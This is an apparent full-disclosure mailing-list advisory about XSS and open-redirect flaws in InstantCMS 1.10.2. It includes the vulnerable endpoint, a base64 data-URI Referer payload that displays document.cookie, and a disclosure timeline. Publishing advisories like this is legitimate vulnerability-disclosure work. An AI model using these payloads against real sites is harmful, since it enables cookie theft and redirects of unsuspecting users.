full-disclosure - XSS and Redirector vulnerabilities in InstantCMS

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Date: Wed, 18 Sep 2013 17:08:02 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: XSS and Redirector vulnerabilities in InstantCMS

Hello list!

These are Cross-Site Scripting and Redirector vulnerabilities in InstantCMS.

-------------------------
Affected products:
-------------------------

Vulnerable are InstantCMS 1.10.2 and previous versions.

-------------------------
Affected vendors:
-------------------------

InstantSoft
http://www.instantcms.ru

----------
Details:
----------

Cross-Site Scripting (WASC-08):

GET request to http://site/modules/mod_template/set.php with setting Referer 
header.

Referer: 
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Redirector (URL Redirector Abuse) (WASC-38):

GET request to http://site/modules/mod_template/set.php with setting Referer 
header.

Referer: http://websecurity.com.ua

------------
Timeline:
------------ 

2013.07.14 - found multiple vulnerabilities in InstantCMS 1.10.1.
2013.07.17 - announced at my site.
2013.07.19 - informed developers about first part of the vulnerabilities. 
Ignored.
2013.07.31 - informed developers about another part of the vulnerabilities. 
Answered, but refused to fix.
2013.08.02 - reminded developers about first letter with holes and explained 
why to fix them.
2013.08.02 - developers released InstantCMS 1.10.2 without fixing any 
informed vulnerabilities. Both above-mentioned holes work in it.
2013.09.17 - disclosed at my site (http://websecurity.com.ua/6661/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

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